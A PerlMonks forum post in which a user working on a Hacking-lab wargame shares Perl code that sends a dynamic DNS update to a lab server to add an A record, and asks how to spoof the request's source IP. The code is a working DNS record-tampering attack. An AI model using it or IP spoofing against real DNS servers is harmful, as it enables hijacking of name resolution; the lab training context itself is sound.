Hello Monks I am trying to solve a challenge at Hacking-lab.com. It is completely ethical. https://www.hacking-lab.com/cases/7010-network-security-dns-host-name-change/7010-dns-host-name-change-attack-wargame-122434qwerkkkfp.html?event=400&case=13 The challenge is to change the A record on Primary DNS server, they are recommending scapy(tool written in python) to do so. But I am trying to do it with Perl. I have modified Net::DNS to acheive this.Here is my code

#!/usr/bin/perl -w use strict; use Net::DNS; # Create the update packet. my $update = Net::DNS::Update->new('evil.zz'); # Prerequisite is that no A records exist for the name. $update->push(prerequisite => nxrrset('hacker11.evil.zz. A')); # Add two A records for the name. $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1 +')); # $update->push(update => rr_add('foo.example.com. 86400 A 172.16.3 +.4')); # Send the update to the zone's primary master. my $res = Net::DNS::Resolver->new; $res->nameservers('192.168.200.113'); my $reply = $res->send($update); # Did it work? if ($reply) { my $rcode = $reply->header->rcode; print 'Update ', $rcode eq 'NOERROR' ? "succeeded\n" : "failed +: $rcode\n"; } else { print 'Update failed: ', $res->errorstring, "\n"; }

This code is working fine but to accomplish the task properly i need to change Source IP of this DNS request. I know one can change his source IP while creating a packet though Net::Frame::Simple etc. But how to use it in my case. Please let me know if you need further clarification.


In reply to How to use Net::DNS:: Update with Net::Frame::Simple by sagarkha

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.